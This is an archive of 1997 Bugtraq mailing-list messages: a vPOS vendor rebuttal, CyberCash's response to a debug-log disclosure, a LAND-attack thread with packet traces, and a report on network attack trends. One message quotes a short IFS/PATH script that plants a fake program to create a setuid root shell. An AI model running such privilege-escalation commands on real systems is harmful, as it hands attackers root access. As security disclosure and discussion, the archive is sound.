>>>>> 1. In addition to the debug log mentioned above, the actual Commerce
>>>>> Server
>>>>> store also has the ability to write a very lengthy logfile, called
>>>>> ordinitbf, which can be added into the global.asa of the store, and
>>>>> called
>>>>> using a scriptor component. Again, not very useful unless an
>>>>> administrator
>>>>> turns on logging and never turns it off.
>>>>>
>>>>> Things included in this file include: all shopper info, all address
>>>>> info
>>>>> (billing and shipping), credit card info, including name, exp, and
>>>>> number... you get the idea.
>>>>>
MICROSOFT COMMERCE SERVER IS A PRODUCT DEVELOPED BY MICROSOFT FOR
MERCHANTS WISHING TO ESTABLISH A WEB-BASED STOREFRONT. THE FILE
'ORDINITBF' IS A MICROSOFT FILE AND IS NOT RELATED TO THE FUNCTIONALITY
OF THE THE VERIFONE VPOS PRODUCT. VPOS HAS NO INTERACTION WITH THE
'ORDINIBF' FILE.
>>>>> 2. the vPOS service cannot be started automatically. The encryption
>>>>> string
>>>>> MUST be typed in at start-up. This sequence cannot be automated.
>>>>> Therefore,
>>>>> if a server using vPOS is somehow compromised in the middle of the
>>>>> night,
>>>>> and no administrator is there to restart the service, all transactions
>>>>> will
>>>>> fail until the next time the administrator restarts the service.
>>>>>
REGARDING THE VPOS ENGINE SERVICE, THE SET 1.0 VERSION OF VPOS ENGINE
SERVICE CAN BE STARTED AUTOMATICALLY. HOWEVER, THE ENCRYPTION STRING
MUST BE PROVIDED.
IF THE SERVER USING VPOS IS SOMEHOW COMPROMISED, WHY WOULD YOU WANT TO
RESTART THE ENGINE SERVICE AUTOMATICALLY? WOULDN'T YOU WANT THE SYSTEM
ADMINSTRATOR TO FIRST VERIFY THAT THE SECURITY BREACH DID NOT AFFECT ALL
ASPECTS OF THE NT ENVIRONMENT INCLUDING THE MERCHANT STOREFRONT,
NETWORKING, USERS/PASSWORDS, DATABASES, ETC. BEFORE YOU STARTED YOUR
STOREFRONT SYSTEM UP AUTOMATICALLY? THEY MIGHT HAVE TAMPERED WITH YOUR
STORE PRODUCT DATABASE.
>>>>> 3. In order for vPOS to work with Microsoft Site Server (Commerce
>>>>> Server
>>>>> 2.0), the Commerce Server version 1.0 component wrapper must be used.
>>>>> In
>>>>> order to trick the v1 component wrapper into thinking that Site Server
>>>>> is
>>>>> really Merchant Server 1.0, A LOT of registry entries must be made.
>>>>>
>>>>> Some of these registry entries include the SQL passwords, the NT
>>>>> administrator login passwords, etc. Fun for the whole family, and
>>>>> everything in plaintext.
>>>>>
THIS IS A MICROSOFT SITE SERVER PRODUCT ISSUE THAT YOU SHOULD ADDRESS
WITH MICROSOFT. IT HAS NO RELATION TO THE FUNCTIONALITY OF VPOS.
>>>>> 4. The merchant certificates are stored in the SQL database whose
>>>>> passwords
>>>>> you just typed in plaintext into the registry.
ALL DATA TRANSACTIONS UTILIZING THE SET STANDARD ARE ENCRYPTED.
MERCHANT CERTIFICATES ARE STORED BY VPOS USING AN SQL DATABASE.
CERTIFICATES THEMSELVES ARE NOT TAMERABLE SINCE THEY HAVE BEEN DIGITALLY
SIGNED BY A CERTIFICATE AUTHORITY. VPOS WILL STORE ANY DATA CONSIDERED
SENSITIVE IN AN ENCRYPTED FORM.
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 330 invoked from network); 20 Nov 1997 08:43:17 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 20 Nov 1997 08:43:17 -0000
Received: by scylla.sovam.com id AA04930
(5.67b8s3p1/IDA-1.5 for [email protected]); Thu, 20 Nov 1997 02:19:06 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA04835
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Thu, 20 Nov 1997 02:16:15 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id EAA06967
for <[email protected]>; Thu, 20 Nov 1997 04:13:44 +0500 (ES)
Received: from [email protected] (port 9554 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <182-1964>; Wed, 19 Nov 1997 15:53:38 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5746567 for [email protected]; Wed, 19 Nov 1997 15:53:06
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
PAA30267 for <[email protected]>; Wed, 19 Nov 1997 15:52:41 -0500
Received: from [email protected] (port 9554 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <81053-1963>; Wed, 19 Nov 1997
15:50:46 -0500
Approved-By: [email protected]
Received: from hzoli.home (usr18-dialup11.mix1.Sacramento.mci.net
[166.55.7.75]) by netspace.org (8.8.7/8.8.2) with ESMTP id WAA24262
for <[email protected]>; Tue, 18 Nov 1997 22:15:04 -0500
Received: (from hzoli@localhost) by hzoli.home (8.8.5/8.8.5) id VAA00893; Tue,
18 Nov 1997 21:14:50 -0600
X-Mailer: ELM [version 2.4ME+ PL31 (25)]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-Id: <[email protected]>
Date: Tue, 18 Nov 1997 21:14:49 -0600
Reply-To: Zoltan Hidvegi <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Zoltan Hidvegi <[email protected]>
Subject: Re: Vunerability in Lizards game
X-To: [email protected]
To: [email protected]
In-Reply-To: <199711181902.NAA12638@sun-8572> from Joe Zbiciak at "Nov 18,
97 01:02:01 pm"
Status:
X-PMFLAGS: 34078848 0
Joe Zbiciak wrote:
> John Dow said previously:
>
> | - but then again, my system("clear") wasn't particularly
> | elegant either. How about system("/usr/bin/clear")?
>
> That won't work. An attack along these lines will slice through
> that "fix" pretty quickly, if I'm not mistaken.
>
> export IFS=/
> export PATH=.:$PATH
> echo "cp /bin/sh ./root_sh; chmod 4755 ./root_sh" > ./usr
> chmod 755 ./usr
> lizards
Actually recent POSIX shells are immune to this kind of attack, since IFS
is only used to split the result of parameter expansion. No shells under
Linux has this behaviour. This system() call seems to be secure, but it
is still bad practice.
Recent shells disable .bashrc, $ENV etc. processing when euid != uid or
egid != gid and functions are not imported (see the privileged option in
the bash manual).
> "system()" is just not cut out for security.
Definitely. And its performance is also quite bad. It's a waste of
resources to fork/exec a large shell just to execute a tiny program.
Zoltan
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 345 invoked from network); 24 Nov 1997 12:16:49 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 24 Nov 1997 12:16:49 -0000
Received: by scylla.sovam.com id AA17259
(5.67b8s3p1/IDA-1.5 for [email protected]); Mon, 24 Nov 1997 01:38:27 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA17251
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Mon, 24 Nov 1997 01:36:23 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id DAA22760
for <[email protected]>; Mon, 24 Nov 1997 03:33:53 +0500 (ES)
Received: from [email protected] (port 54345 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <96057-21613>; Sun, 23 Nov 1997 16:46:55 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5825912 for [email protected]; Sun, 23 Nov 1997 16:45:57
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
QAA23419 for <[email protected]>; Sun, 23 Nov 1997 16:34:17 -0500
Received: from [email protected] (port 54345 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80634-21617>; Sun, 23 Nov 1997
16:34:09 -0500
Approved-By: [email protected]
Received: from callandor.cybercash.com (callandor.cybercash.com
[204.178.186.70]) by netspace.org (8.8.7/8.8.2) with SMTP id QAA17593
for <[email protected]>; Sun, 23 Nov 1997 16:07:10 -0500
Received: by callandor.cybercash.com; id PAA16355; Sun, 23 Nov 1997 15:54:26
-0500
Received: from cybercash.com(204.149.68.52) by callandor.cybercash.com via smap
(3.2) id xma016339; Sun, 23 Nov 97 15:54:10 -0500
Received: from p6200 ([172.16.4.40]) by cybercash.com (4.1/SMI-4.1) id AA22750;
Sun, 23 Nov 97 16:08:35 EST
X-Sender: [email protected]
X-Mailer: Windows Eudora Light Version 1.5.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Message-Id: <[email protected]>
Date: Sun, 23 Nov 1997 04:08:28 -0500
Reply-To: Pat Farrell <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Pat Farrell <[email protected]>
Subject: CyberCash response to: Major security flaw in Cybercash 2.1.2
X-Cc: [email protected]
To: [email protected]
Status:
X-PMFLAGS: 34078848 0
This message is going to bugtraq because I first heard of
the report from this list. I believe it is in the spirit of
the list's usage guidelines. Redistributed in accordance
to the terms below.
Other responses should be off list, directly to me.
Pat
-----BEGIN PGP SIGNED MESSAGE-----
I have been asked by Steve Crocker, CyberCash's Chief Technical Officer,
to post this message concerning security of CyberCash's software.
The following should appear in its entirety if it's printed at all.
Permission is granted to repost this message as long as the entire
message is reposted unaltered with the PGP signature intact.
Pat
The following message appeared on the net.
> === begin quoted message ===
>
>From: Anonymous <[email protected]>
>Subject: Major security flaw in Cybercash 2.1.2
>To: [email protected]
>
>CyberCash v. 2.1.2 has a major security flaw that causes all credit
>card information processed by the server to be logged in a file with
>world-readable permissions. This security flaw exists in the default
>CyberCash installation and configuration.
>
>The flaw is a result of not being able to turn off debugging. Setting
>the "DEBUG" flag to "0" in the configuration files simply has no
>effect on the operation of the server.
>
>In CyberCash's server, when the "DEBUG" flag is on, the contents of
>all credit card transactions are written to a log file (named
>"Debug.log" by default).
>
>The easiest workaround I've found is to simply delete the existing
>Debug.log file. In my experience with the Solaris release, the
>CyberCash software does not create this file at start time when the
>DEBUG flag is set to 0.
>
>The inability to turn off debugging is noted on CyberCash's web site
>under "Known Limitations". The fact that credit card numbers are
>stored in the clear, in a world readable file, is not.
>
> === end quoted message ===
We have taken this quite seriously and have put through a full release
of our software which will be available Monday 11/24 for three
platforms and others shortly thereafter. The flaw was in the
debug logging function, not in the protocols or core
implementation. Nonetheless, the effect was an unnecessary
exposure of potentially sensitive information, and it shouldn't
have gone out the door that way. We're tightening our internal
processes to avoid this in the future.
That said, here's the actual exposure. The credit card information
that's in the clear in the log comes from "merchant-initiated"
transactions, which means the merchant obtains the credit
card number from somewhere -- phone, mail, fax, SSL-protected
Internet interaction, or unprotected Internet interaction.
The merchant thus has the same info in the clear already.
If the card number was provided via a wallet, then the card
number is blinded at the consumer's end. It is therefore
not in the clear as it passes through the merchant's machine
and the reported exposure does not apply..
In order for the unprotected log to pose a risk of exposure,
someone has to be able to gain access to the merchant's machine.
If the machine is well protected, viz behind a firewall and/or
carefully configured, presumably an outsider won't be able to
gain access. And in terms of the *additional* exposure the
open log represents over existing risks, if the same information
is accessible in the clear elsewhere on the machine, eliminating
from the log or encrypting the log provides little or no real
protection. We continue to advise merchants to take strong steps
to protect their machines.
To our knowledge, the exposure documented above has not resulted
in the actual loss of any customer data or other security incident.
- ----------------------------------
Steve Crocker Desk: +1 703 716 5214
CyberCash, Inc. Main: +1 703 620 4200
2100 Reston Parkway Fax: +1 703 620 4215
Reston, VA 20191 [email protected]
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNHfwF7CsmOInW9opAQHurAP+MPve2kBqh7Vtt6cMbzohCt2PTjaa6dl3
AzxTVPzgMPdGLB+pehGNxsxrlb/hQ07P3IqMaKcaKXs9O+7Av7ijaUGGkbWpbhEJ
Zy38iKpEsMIHe2vrLXyyjVbzorj/8f/OHEr28NbXjviSllyJlGzowgS0AXuFMLMt
lByJBsTAAS4=
=ZlLs
-----END PGP SIGNATURE-----
Pat Farrell CyberCash, Inc. w:(703) 715-7834
Senior Engineer [email protected]
#include standard.disclaimer
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 346 invoked from network); 24 Nov 1997 12:16:49 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 24 Nov 1997 12:16:49 -0000
Received: by scylla.sovam.com id AA13629
(5.67b8s3p1/IDA-1.5 for [email protected]); Sun, 23 Nov 1997 11:13:41 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA13622
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Sun, 23 Nov 1997 11:12:44 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id NAA03964
for <[email protected]>; Sun, 23 Nov 1997 13:10:20 +0500 (ES)
Received: from [email protected] (port 19009 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <96777-18130>; Sun, 23 Nov 1997 02:43:05 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5817417 for [email protected]; Sun, 23 Nov 1997 02:42:07
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
CAA06527 for <[email protected]>; Sun, 23 Nov 1997 02:31:19 -0500
Received: from [email protected] (port 19009 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <81411-18130>; Sun, 23 Nov 1997
02:31:11 -0500
Approved-By: [email protected]
Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by netspace.org
(8.8.7/8.8.2) with SMTP id XAA02809 for <[email protected]>; Sat,
22 Nov 1997 23:23:32 -0500
Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with
SMTP id <53511(5)>; Sat, 22 Nov 1997 20:23:30 PST
Received: from localhost by crevenia.parc.xerox.com with SMTP id <177476>; Sat,
22 Nov 1997 20:23:27 -0800
Message-Id: <[email protected]>
Date: Sat, 22 Nov 1997 20:23:15 PST
Reply-To: Bill Fenner <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Bill Fenner <[email protected]>
Subject: Re: "LAND" Attack Update
X-To: "Charles M. Hannum" <[email protected]>
X-Cc: [email protected]
To: [email protected]
In-Reply-To: Your message of "Sat, 22 Nov 97 11:47:20 PST."
<[email protected]>
Status:
X-PMFLAGS: 33554560 0
"Charles M. Hannum" <[email protected]> wrote:
>The FreeBSD hack to `fix' (or not allow) self-connects DOES NOT WORK
>FOR MULTIHOMED HOSTS. It's still possible to crash a multihomed
>FreeBSD system by locally running a program that connects a TCP socket
>to itself.
Can you expand on that a little? I first thought that it was possible
to get this pathology to happen on a multi-homed host by using two
different interfaces as the source and destination, but haven't yet
been able to exploit it. (You'd expect that it would work on single-homed
hosts too, with a source address of 127.0.0.1, but I can't get that to
cause trouble either).
It's not possible to do a self-connect using two different interfaces,
since if you bind to an interface then you also have to connect to that
interface or it's not a self-connect, so I'm not sure what you mean by
locally running a program that connects a TCP socket to itself.
Assuming that you meant locally running something like land.c which
sends a packet forged from one interface destined for another, I've
tried that. On a host which is vulnerable to the "standard" attack, I
see the following packets when I forge a SYN from one interface address
to the other:
20:21:32.187983 InterfaceA.telnet > InterfaceB.telnet: S 1:1(0) win 1024 (ttl 255, id 69)
20:21:32.188092 InterfaceB.telnet > InterfaceA.telnet: S 95950695:95950695(0) ack 2 win 16384 <mss 16344> (DF) (ttl 64, id 409)
20:21:32.188113 InterfaceA.telnet > InterfaceB.telnet: R 2:2(0) win 16384 (ttl 64, id 410)
Bill
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 13175 invoked from network); 22 Nov 1997 01:01:32 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 22 Nov 1997 01:01:32 -0000
Received: by scylla.sovam.com id AA08547
(5.67b8s3p1/IDA-1.5 for [email protected]); Sat, 22 Nov 1997 03:16:34 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA08530
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Sat, 22 Nov 1997 03:16:00 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id FAA07251
for <[email protected]>; Sat, 22 Nov 1997 05:13:05 +0500 (ES)
Received: from [email protected] (port 4105 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <1163-10586>; Fri, 21 Nov 1997 16:00:41 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5791474 for [email protected]; Fri, 21 Nov 1997 15:59:22
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
PAA15431 for <[email protected]>; Fri, 21 Nov 1997 15:48:45 -0500
Received: from [email protected] (port 4105 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <95985-10585>; Fri, 21 Nov 1997
15:48:04 -0500
Approved-By: [email protected]
Received: from crypt.wheelgroup.com (crypt-inet.wheelgroup.com [207.18.164.70])
by netspace.org (8.8.7/8.8.2) with ESMTP id SAA03036 for
<[email protected]>; Wed, 19 Nov 1997 18:20:26 -0500
Received: (from nobody@localhost) by crypt.wheelgroup.com (8.8.6/8.8.6) id
RAA14551; Wed, 19 Nov 1997 17:11:00 -0600 (CST)
X-Authentication-Warning: crypt.wheelgroup.com: nobody set sender to
<[email protected]> using -f
Received: from falcon.wheelgroup.com(207.18.164.101) by crypt via SMTP id
xma014548; Wed, 19 Nov 97 17:10:56 -0600
Received: from localhost (crowland@localhost) by falcon.wheelgroup.com
(8.8.4/8.8.4) with SMTP id RAA14239; Wed, 19 Nov 1997 17:20:10 -0600
(CST)
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <[email protected]>
Date: Wed, 19 Nov 1997 17:20:10 -0600
Reply-To: "Craig H. Rowland" <[email protected]>
Sender: Bugtraq List <[email protected]>
From: "Craig H. Rowland" <[email protected]>
Subject: Network Attack Trend Analysis
X-To: [email protected]
X-Cc: [email protected]
To: [email protected]
Status:
X-PMFLAGS: 34078848 0
A report just released by Wheelgroup and NetSolve that tracked
network attack trends over a five month period.
-- Craig
-- Begin Report --
ProWatch Secure Network Security Survey (May-September 1997)
This report is the first of its kind because it focuses on actual network
security events, as detected by the NetRanger intrusion detection system
and the ProWatch Secure monitoring service. Other studies, although
valuable in their own right, concentrate on the results of written
surveys from organizations asked to provide security event information
from their corporate network. Because most organizations have little to
no visibility inside their network's electronic datastream, answers to
these surveys often deal with assumptions of what is believed to occur
within the network instead of what actually occurs. Because NetRanger is
designed to provide visibility into the network datastream, perform
detailed security analyses, and report results to a centralized network
operations center-in this case operated by NetSolve as part of the
ProWatch Secure monitoring service-the system is well-suited to provide
both granular and big picture perspectives throughout a geographically
distributed electronic environment.
About the Study:
The following perceptions are the result of an analysis of 556,464
security alarms from May to September 1997 taken from across the NetSolve
ProWatch Secure customer base. The information has been sanitized for
public dissemination because of standard ProWatch Secure/client
non-disclosure arrangements. Thorough trend analysis of the data is not
attempted because of the short length of the study. Such information
will, however, be included in future reports from NetSolve and
WheelGroup.
ProWatch Secure is a network security monitoring service provided by
NetSolve using WheelGroup's NetRanger intrusion detection system. The
security alarms are generated by NetRanger Sensors, which have been
installed at customers' critical network chokepoints-chokepoints from the
perspective of information entering and leaving a customer's corporate
network. These Sensors implement and maintain the security policy
desired by the customer. If the security policy is violated, the Sensor
sends an alarm to the NetRanger Director, a computer workstation, located
at NetSolve's facility in Austin, Texas. There, security professionals
maintain a 24-hour, 7-day a week vigil to ensure the customer's network
remains secure.
Although the Sensors and Director provide visibility, initial analysis,
and response to the activity on the network, more detailed analysis must
occur to determine what is really happening on the network. There are
some events, such as "Syn flooding," "pings of death," "cgi-bin web
exploitation," and "sendmail exploitation" that are obviously blatant
attacks. [Ed note: See Appendix A for more details.] There is no good
reason why someone, whether friendly or hostile, would perform these
kinds of activities on the network unless they wanted to get unauthorized
access to a particular network or system. These are identified below as
Serious Confirmed Attacks. There are other events such as "port sweeps,"
"ping sweeps" and "high zone transfers" that may or may not be malicious
in nature. The person sitting at the Director must take into account
where the activity is originating, what time of day it is, the intensity
and extent with which the event is occurring, and so forth. The results
of this analysis are presented below. Although NetRanger can detect the
event as it is occurring, it cannot determine the motive or intent of the
system/person initiating the activity. The results presented here are
the events that occurred are our perceptions of what they mean. However,
feel free to draw your own conclusions.
Perceptions:
Frequency of Attacks:
Serious attacks occur 0.5 to 5.0 times per month per customer.
E-commerce sites fall at upper end of range.
Confirmed Serious Attacks (i.e. attempt at unauthorized access) from
external sources against a corporate network ranged from 0.5 to 5.0
instances per month; heavy probing, which is often the precursor to
attacks, were not included in this figure. Corporations with e-commerce
applications, such as permitting customers to order products via the
Internet, fell on the high end of the range. All ProWatch Secure
customers experienced at least one serious attack and heavy probing on a
monthly or near monthly basis.
Attack Du Jour:
Recent large increases in attacks exploiting the IMAP vulnerability
appear to be tied to Usenet discussion groups and associated development
of automatic tools that exploit the vulnerability.
Majority of attacks are coming from unsophisticated hackers.
There are a sufficient number of attacks to achieve trend status.
ICMP Storm aka Smurf attack is resurfacing.
Details of the Internet Message Access Protocol (IMAP) vulnerability was
originally published by the Carnegie Mellon CERT team in April 97. [IMAP
is used to permit manipulation of remote access folders. Some versions
of this protocol have an inherent vulnerability that, when exploited,
permits users to gain unauthorized root access on some systems.]
ProWatch Secure detected no usage of this attack in May and minimal usage
in June. In July, August, and September, however, usage skyrocketed to
285 detected attempts distributed throughout the PWS monitored network.
This timeframe closely parallels the wide distribution of hacking
software that exploits the IMAP vulnerability, via simple UNIX scripts,
on security and hacking mailing lists and user groups on the Internet in
late June 97. Because the large increase in attacks against this
vulnerability occurred after the distribution of the automated tools, as
opposed to after the earlier CERT announcement, it can be assumed that
most attacks originated from sources with malicious intent but without
the requisite knowledge or initiative to exploit the vulnerability
themselves. In essence, automated tools that enable "copy-cat" attacks
are increasing the total number of hackers, so specialized hacking
expertise/education/experience is no longer a precursor to hacking
activity. These less sophisticated hackers, called "Script Kiddies" in
computer slang, are easier to detect and eradicate than educated ones
because of standardized behavior and because they do not have experience
to know when to abort a hacking attempt and often make repeated attempts
at re-entry. However, this category of hackers is also more prone to use
destructive acts if they are caught on a system.
Organizations that promptly reacted to CERT team warnings would be
protected from the IMAP attempts, but procrastination when installing the
appropriate patches or taking the necessary precautions would put the
network at risk. Although ramifications may not be severe immediately,
if the attack develops a "trendy" status for any particular
reason-discussion on user groups, presentations at hacker conferences, or
even publicity about the potential for damage-an organization will be
affected immediately. All but one ProWatch Secure site had this attack
attempted. With visibility into the datastream, attack trends can be
easily countered, thereby protecting a network from a surge of potential
attacks.
Similarly, ICMP Storm is a relatively old denial of service attack that
has recently gained a resurgence of popularity after it was integrated
into an exploitation program called "Smurf." By spoofing an origination
address and leveraging a standard "ping" network protocol, the ICMP storm
can, in essence, turn the target network in upon itself, thereby
generating an enormous amount of network activity and eating bandwidth
for legitimate network operations. Since the Smurf program was
circulated among hacker discussion groups in late Summer, ProWatch Secure
has detected 30 instances of ICMP storms, compared to 0 incidents from
April through July.
Origin of Attacks:
Source of attacks included:
* U.S. Government
* Major Financial Institution
* Business Partners
* Universities
* Renowned Security Expert
48% of attacks originate from ISPs as opposed to independently registered
addresses.
The sources of attacks and heavy probes ranged from a US government
department, a major financial institution, business partners of the
targeted company, and a number of universities worldwide. ProWatch
Secure also detected a well-known information security expert, who, after
initially denied involvement, admitted he was attempting to map out the
entire Internet. Although he was well into his study, he claimed only
three organizations to date had detected his automated network probing.
By far, the largest number of attacks (48 percent of the total) came from
addresses belonging to Internet service provider network addresses. Such
a statistic indicates most attacks originate from residential or small
business locations instead of established businesses with their own
registered network addresses.
Web commerce attacks:
100% of detected web attacks were targeted against e-commerce sites.
72% of web attacks originated from sites outside the U.S.
CGI-bin attacks, which focus on web servers and attempt to extract or
modify information on the server, were most prevalent on e-commerce sites
- 100% of the detected attempts were focused on web sites with business
functionality. Approximately 72% of the CGI-bin attacks were launched
against US web sites from foreign IP addresses, including locations in
France, Sweden, Finland, Spain, and Barbados. This statistic is not only
indicative of the global nature of the Internet, but also certainly
incorporates an unknown number of U.S. hackers using innocent foreign
systems to implement proxy hacking attacks. U.S.-based hackers use this
method to conceal their location and to avoid or complicate jurisdiction
under U.S. law.
Foreign attacks:
39% of all attacks detected originated outside the U.S.
Of all the serious attacks throughout the network, 39% originated from
outside the U.S. [Because of the nature of the IP protocol, NetRanger is
able to determine the origination of the last segment or "hop" of the
connection, which may or may not be the actual origination point. If a
Swedish hacker broke into a French system and from there attempted to
hack into a US system, the attack is registered as coming from France
instead of Sweden. The assistance of the respective French network
administrator would be required to assist further tracking.]
Event Resolution:
The primary purpose of ProWatch Secure is to protect the customer's
network. Of 556,464 security events, none resulted in compromise of
customer systems. But beyond basic security monitoring, several
customers task NetSolve with resolving security events. This process
begins with determining who owns the offending system. Once determined,
a telephone call is made to the owning system administrator. Response
can vary because the administrator of the system may be the "attacker".
However, in most cases, administrators have been very cooperative with
ProWatch Secure staff in assisting with the tracking of hackers, mostly
because they are often victims of the same hacker. During this survey
period, several system administrators admitted that their systems had
been compromised and were being used as a launch point against the
ProWatch customer. Some network administrators are not so
cooperative-when asked for assistance in determining the source of an
attack coming from a university in the southern United States, the
network administrator brushed off the request stating, "A hacker? That's
just the price of doing business on the Internet, son." (Ed. Note:
WheelGroup and NetSolve strongly believe otherwise.)
Conclusion:
It is hard to argue with the facts. There is a lot of suspicious
activity occurring on the network every minute of every day-in fact, at a
much higher rate than most people understand. The NetRanger system and
ProWatch Secure monitoring service have begun to provide visibility into
the datastream and insight into the activity that is occurring. Although
it may be impossible to determine the intent of this activity, there is
no doubt, based on the level and type of activity, that the threat is
very real.
This is the first survey of its type. As more data is collected and more
sites are added to the program more in-depth trend analysis will be performed.
Appendix A:
attack description
cgi-bin The common gateway interface or "cgi" is an interface that
allows a user to remotely execute programs on a web server. A flaw in the
cgi code can allow a user to extract or modify information on the server.
The alarms registered at NetSolve have been attempts to extract password
files from the server.
ping of death "Ping" is a command that can be sent across a network to
determine if another computer is active. The target computer will respond
with "I am alive". The ping command can be (mis)configured by the user
to send an unusually large ''packet" of information to the target
computer. This unexpected large packet of information will cause some
computer systems to crash.
tcp port sweep Computers establish communications across networks with
"ports". Each port on a computer can offer a known service such as
e-mail, web, file transfer, and so forth. Users will often conduct a
probe or sweep of ports on a target computer to determine what services
are available. This probe is often used in the reconnaissance portion of
an attack or potential attack because it reveals vulnerable services.
old wiz mail attack Sendmail is a common e-mail program found on many
machines. Old versions of Sendmail contained a hidden command that
allowed remote users to gain unauthorized access on the local host.
ping sweep Similar to a port sweep, a ping sweep will identify all
the computer hosts that are active on the network. Like the TCP port
sweep, this probe is often used in the reconnaissance portion of an
attack. Probes are very valuable for the internal use of system
administrators; however, when attempted by an unauthorized user, it is an
indication of potentially hostile activity.
Syn Attack Computers must ensure that data is transferred reliably
across a network. They do this by "synchronizing" and "acknowledging"
that data and commands have been successfully transferred. In the Syn
attack (also known as Syn flooding), the attacking computer continually
sends synchronization packets to the target computer without any
acknowledgment. The victim system keeps trying to respond but is
unsuccessful. In addition, it cannot communicate with other systems.
This is an example of a denial of service attack.
IP Spoofing Internet Protocol (IP) spoofing occurs when one computer
attempts to imitate another on the network. The victim computer will
communicate with the imposter, possibly exposing valuable data.
TCP/IP Hijacking[PARA] Computers on the Internet communicate via
Transmission Control Protocol/ Internet Protocol. During TCP/IP
Hijacking, a third computer attempts to break into an existing
communication session between two legitimate users. The victim system
will begin communications with the imposter and the other will be
disconnected.
e-mail recon Any user can issue a verify command to e-mail servers.
This command verifies the validity of e-mail addresses thereby allowing
attackers to discover possible login IDs.
udp port sweep This type of reconnaissance activity is similar to the TCP
port sweep, but gives additional port and potential vulnerability
information about the target computer system.
DNS high zone transfer The Domain Name Service provides computer
addresses on the network so computers can find each other's addresses and
communicate. A DNS High Zone Transfer is a probe in which a DNS server
is queried for all hostnames associated with specific IP addresses. This
is similar to a ping sweep in that it provides the attacker with a map of
the network.
imap vulnerability The Internet Message Access Protocol (or "imap")
is another protocol used to manage e-mail. Mail servers running certain
versions of imap have a flaw that allow a remote user to gain
unauthorized access.
-- End report
More information on NetRanger can be obtained from:
http://www.wheelgroup.com
More information on the ProWatch Secure service can be obtained from:
http://www.netsolve.com
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 19370 invoked from network); 25 Nov 1997 08:01:53 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 25 Nov 1997 08:01:53 -0000
Received: by scylla.sovam.com id AA06260
(5.67b8s3p1/IDA-1.5 for [email protected]); Tue, 25 Nov 1997 08:56:11 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA06105
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Tue, 25 Nov 1997 08:53:55 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id KAA24301
for <[email protected]>; Tue, 25 Nov 1997 10:51:58 +0500 (ES)
Received: from [email protected] (port 8523 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <80732-30839>; Mon, 24 Nov 1997 12:05:01 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5834994 for [email protected]; Mon, 24 Nov 1997 12:04:02
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
